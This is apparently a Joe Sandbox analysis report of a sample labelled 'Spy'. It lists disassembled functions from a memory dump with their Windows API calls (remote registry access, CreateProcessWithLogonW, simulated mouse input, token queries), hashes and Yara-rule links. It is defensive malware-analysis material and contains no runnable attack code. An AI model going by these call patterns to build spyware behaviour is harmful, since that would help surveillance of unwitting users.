Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00AAA18F
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00AAA1A2
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00AAA1B5
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00AAA1C8
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00AAA1DB
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00AAA1EE

__mtinitlocks.LIBCMT ref: 00AA9D1B
__mtterm.LIBCMT ref: 00AA9D24

Part of subcall function 00AA9D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00AA9D29,00AA7EFD,00B3CD38,00000014), ref: 00AA9E86
Part of subcall function 00AA9D8C: _free.LIBCMT ref: 00AA9E8D
Part of subcall function 00AA9D8C: DeleteCriticalSection.KERNEL32(00B40C00,?,?,00AA9D29,00AA7EFD,00B3CD38,00000014), ref: 00AA9EAF

__calloc_crt.LIBCMT ref: 00AA9D49
__initptd.LIBCMT ref: 00AA9D6B
GetCurrentThreadId.KERNEL32 ref: 00AA9D72

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 003e7ae8380d0f92ffa8a5a42378b9ec7a4817554eb24d77cdc94fabcf560873
Instruction ID: e00c91f275d083daaa346851525c26a5e7bf3e10a00e2538969eca24e8af6fef
Opcode Fuzzy Hash: 003e7ae8380d0f92ffa8a5a42378b9ec7a4817554eb24d77cdc94fabcf560873
Instruction Fuzzy Hash: 75F090325197116EEB747B787D0369B76D4EF43770F20861AF550D70D3EF2089814191

Function 00AA41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00AA4282,?), ref: 00AA41D3
GetProcAddress.KERNEL32(00000000), ref: 00AA41DA
EncodePointer.KERNEL32(00000000), ref: 00AA41E6
DecodePointer.KERNEL32(00000001,00AA4282,?), ref: 00AA4203

Strings

combase.dll, xrefs: 00AA41CE
RoInitialize, xrefs: 00AA41C2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 652f0e9e0c91ab252b9b7e4eb6b6ff16ade4c3aa32b1377f13e9bcf2c4487b77
Instruction ID: 72fd1a0465d303c781fa555d311e7d400cf06c574c0276c7d09ed78a67c5d21b
Opcode Fuzzy Hash: 652f0e9e0c91ab252b9b7e4eb6b6ff16ade4c3aa32b1377f13e9bcf2c4487b77
Instruction Fuzzy Hash: 73E012B4560B41AFDB202B70EC4DB943595B756B06F908524B411E70F0DFF552C88F04

Function 00AA428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00AA41A8), ref: 00AA42A8
GetProcAddress.KERNEL32(00000000), ref: 00AA42AF
EncodePointer.KERNEL32(00000000), ref: 00AA42BA
DecodePointer.KERNEL32(00AA41A8), ref: 00AA42D5

Strings

RoUninitialize, xrefs: 00AA4297
combase.dll, xrefs: 00AA42A3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: b212274c9bfd3351d1fc5c2b3bdf9d18514633ac54085cc5c222b1bfa1228751
Instruction ID: b845de99f921bb5eeee77b6b3462ef7386c22043c87de5c5fecc48b832087863
Opcode Fuzzy Hash: b212274c9bfd3351d1fc5c2b3bdf9d18514633ac54085cc5c222b1bfa1228751
Instruction Fuzzy Hash: 28E0B674560B00BBDB21AB60BD0DBC43AA4BB5AB06F908129F001E74F1DFF447C4CA14

Function 00A8218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00A821B8
GetWindowRect.USER32(?,?), ref: 00A821F9
ScreenToClient.USER32(?,?), ref: 00A82221
GetClientRect.USER32(?,?), ref: 00A82350
GetWindowRect.USER32(?,?), ref: 00A82369

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 2915c6700bad084a1a913d934b988d5fc9fe1072f530376f174007e40f44bfb3
Instruction ID: 387ab62f6d015092b871b3e4e9fb259a027d70e09e0f35d95bac18050302a8cc
Opcode Fuzzy Hash: 2915c6700bad084a1a913d934b988d5fc9fe1072f530376f174007e40f44bfb3
Instruction Fuzzy Hash: 17B18A3991024ADBDF10DFA8C9807FEB7B1FF08310F148129ED59AB255EB70AA50CB64

Function 00AE6A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00AE6BC6
_memmove.LIBCMT ref: 00AE6B01

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

_memmove.LIBCMT ref: 00AE6B74
_memmove.LIBCMT ref: 00AE6C5B
_memmove.LIBCMT ref: 00AE6C74
_memmove.LIBCMT ref: 00AE6C90

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: fe5ef885939191d549e2184630452d437aa04394730a4170be6c62479aeca92e
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: F561DE3050069AABCF11FF61CE82EFE37A8AF59388F044959F9596B292DB309D45CB50

Function 00B00844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00B0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B0040D,?,?), ref: 00B01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B0091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B0095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00B00980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00B009A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B009EC
RegCloseKey.ADVAPI32(00000000), ref: 00B009F9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: f7365c575c16af5f5fbc9c16ce69712d2c9ed393acebb60cde7b37f8f18367a0
Instruction ID: d41cdd7df34c62ad69f7e4a772a5269117f1e592709555cc55fe739ef412e2c4
Opcode Fuzzy Hash: f7365c575c16af5f5fbc9c16ce69712d2c9ed393acebb60cde7b37f8f18367a0
Instruction Fuzzy Hash: 36517831218205AFD714EF68C985E6EBBE9FF89314F04495DF485872A2EB31E905CB52

Function 00B05DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00B05E38
GetMenuItemCount.USER32(00000000), ref: 00B05E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00B05E97
GetMenuItemID.USER32(?,?), ref: 00B05F06
GetSubMenu.USER32(?,?), ref: 00B05F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 00B05F65

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 69c2ad6bd55c98fef6e81ef56c77e604976c5885cbc7bd86778bacb8d1020904
Instruction ID: 149042c4f544b643ec68af490853258ae1d1179449eda268dd692bd2865f55c6
Opcode Fuzzy Hash: 69c2ad6bd55c98fef6e81ef56c77e604976c5885cbc7bd86778bacb8d1020904
Instruction Fuzzy Hash: EF517035A0161AAFCF21EF64C945AAEBBF5EF48310F104099F905BB391DB74AE418F90

Function 00ADF688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00ADF6A2
VariantClear.OLEAUT32(00000013), ref: 00ADF714
VariantClear.OLEAUT32(00000000), ref: 00ADF76F
_memmove.LIBCMT ref: 00ADF799
VariantClear.OLEAUT32(?), ref: 00ADF7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00ADF814

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 129f4210dedb0ca806a7fcc490faf24d748c02d0359cde2ac29662eb358ca25c
Instruction ID: 62dade1475f904526b12f61dd2ea632cf207fde04bed9a58d28ebc3240006fd7
Opcode Fuzzy Hash: 129f4210dedb0ca806a7fcc490faf24d748c02d0359cde2ac29662eb358ca25c
Instruction Fuzzy Hash: B8513E75A00209EFDB14CF58C884AAAB7B8FF4D354B15856AED5ADB304D730E951CF90

Function 00AE29B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AE29FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00AE2A4A
IsMenu.USER32(00000000), ref: 00AE2A6A
CreatePopupMenu.USER32 ref: 00AE2A9E
GetMenuItemCount.USER32(000000FF), ref: 00AE2AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00AE2B2D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: c5b310a49d2e9296afe2638984f6be74a36062b9371c30efaf4c234072052c97
Instruction ID: 5cde94af807bad33392248ba1291aae65e37adbbeba1964e455525bf1204b023
Opcode Fuzzy Hash: c5b310a49d2e9296afe2638984f6be74a36062b9371c30efaf4c234072052c97
Instruction Fuzzy Hash: 7E51F070600389DFDF21CF6AC888BAEBBF9EF54314F144129E8119B2A1E7B09D44CB51

Function 00A81B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00A81B76
GetWindowRect.USER32(?,?), ref: 00A81BDA
ScreenToClient.USER32(?,?), ref: 00A81BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00A81C08
EndPaint.USER32(?,?), ref: 00A81C52

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 38fd5b48c16c20b8a3eaf6ef89721fda7748cd088f82df5e227da9408aea7a2b
Instruction ID: 7866d329842e46055627cab028832c592b529016d56057ae1074af2087bf9226
Opcode Fuzzy Hash: 38fd5b48c16c20b8a3eaf6ef89721fda7748cd088f82df5e227da9408aea7a2b
Instruction Fuzzy Hash: D3419E74144204AFD710EF25CC88FBA7BFCFB56360F140669F995872A2CB709946DB61

Function 00B0BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00B477B0,00000000,013954F8,?,?,00B477B0,?,00B0BC1A,?,?), ref: 00B0BD84
EnableWindow.USER32(?,00000000), ref: 00B0BDA8
ShowWindow.USER32(00B477B0,00000000,013954F8,?,?,00B477B0,?,00B0BC1A,?,?), ref: 00B0BE08
ShowWindow.USER32(?,00000004,?,00B0BC1A,?,?), ref: 00B0BE1A
EnableWindow.USER32(?,00000001), ref: 00B0BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00B0BE61

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: cdeb5afe666866639409edc1f8c231c2ffef7c442205447abe104edea6e824f6
Instruction ID: a3809c7c9c402eaf7991f2a8a8beb4a7259b7396175c08f56b1cc094872cb8e3
Opcode Fuzzy Hash: cdeb5afe666866639409edc1f8c231c2ffef7c442205447abe104edea6e824f6
Instruction Fuzzy Hash: 4641F634604145AFDB26DF28C489F95BFE1EB05314F1882F9EA588F2E2CB71A855CB51

Function 00AF7788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00AF550C,?,?,00000000,00000001), ref: 00AF7796

Part of subcall function 00AF406C: GetWindowRect.USER32(?,?), ref: 00AF407F

GetDesktopWindow.USER32 ref: 00AF77C0
GetWindowRect.USER32(00000000), ref: 00AF77C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00AF77F9

Part of subcall function 00AE57FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00AE5877

GetCursorPos.USER32(?), ref: 00AF7825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00AF7883

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 212c698b17a3386228d0e0696f7199da42f55fde939e36205538b4ecc5da3980
Instruction ID: bc277347153f81a557d854087b32b4b1847835aeef7455730b769fae90fd811e
Opcode Fuzzy Hash: 212c698b17a3386228d0e0696f7199da42f55fde939e36205538b4ecc5da3980
Instruction Fuzzy Hash: 8C31B272508309ABD720DF54D849FAFB7AAFF88354F004929F58597191CB70E958CBE2

Function 00AD9431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00AD8CDE
Part of subcall function 00AD8CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00AD8CE8
Part of subcall function 00AD8CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00AD8CF7
Part of subcall function 00AD8CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00AD8CFE
Part of subcall function 00AD8CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00AD8D14

GetLengthSid.ADVAPI32(?,00000000,00AD904D), ref: 00AD9482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00AD948E
HeapAlloc.KERNEL32(00000000), ref: 00AD9495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00AD94AE
GetProcessHeap.KERNEL32(00000000,00000000,00AD904D), ref: 00AD94C2
HeapFree.KERNEL32(00000000), ref: 00AD94C9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 1b9bd21465ea8a8e11ee3e3195bceed40ba834c578613816570eac4598cad47d
Instruction ID: 5f78bd66db3e32afcd41ead27118adcf1ea4b8bee85552c7fbf39792a2db6f09
Opcode Fuzzy Hash: 1b9bd21465ea8a8e11ee3e3195bceed40ba834c578613816570eac4598cad47d
Instruction Fuzzy Hash: 7D11AFB1611604FFDB10AFA4CC09BEF7BA9EB45315F50801AF946A7211CB399941CB60

Function 00AD91CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00AD9200
OpenProcessToken.ADVAPI32(00000000), ref: 00AD9207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00AD9216
CloseHandle.KERNEL32(00000004), ref: 00AD9221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00AD9250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00AD9264

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: b7cf7d7a3138d66ec484d88a76a9e0e8d4037813e47eb625264dc43fffbb50a6
Instruction ID: 351572198123ba09d62d7db9ac3e7106e11c91a817fb85ad230d843f5025b344
Opcode Fuzzy Hash: b7cf7d7a3138d66ec484d88a76a9e0e8d4037813e47eb625264dc43fffbb50a6
Instruction Fuzzy Hash: 3F11597250120EABDF019F94ED49FDE7BA9EF09304F048115FE05A2160C7B2DEA0EB60

Function 00ADC329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00ADC34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00ADC35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00ADC366
ReleaseDC.USER32(00000000,00000000), ref: 00ADC36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00ADC385
MulDiv.KERNEL32(000009EC,?,?), ref: 00ADC397

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 95ca15c939626e9ce7fda7f3d78ea5fc7690128bb10ca61b13017a69c97e3d87
Instruction ID: 6d29b1b8929c6781caeace71a443df91fbb1362e334959c6079b37d284e85869
Opcode Fuzzy Hash: 95ca15c939626e9ce7fda7f3d78ea5fc7690128bb10ca61b13017a69c97e3d87
Instruction Fuzzy Hash: F1014875E04319BBDF105BA59D49A9EBFB8EB48761F408066FA04EB340DA709D10CF50

Function 00B0C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00A816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00A81729
Part of subcall function 00A816CF: SelectObject.GDI32(?,00000000), ref: 00A81738
Part of subcall function 00A816CF: BeginPath.GDI32(?), ref: 00A8174F
Part of subcall function 00A816CF: SelectObject.GDI32(?,00000000), ref: 00A81778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00B0C57C
LineTo.GDI32(00000000,00000003,?), ref: 00B0C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00B0C59E
LineTo.GDI32(00000000,00000000,?), ref: 00B0C5AE
EndPath.GDI32(00000000), ref: 00B0C5BE
StrokePath.GDI32(00000000), ref: 00B0C5CE

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

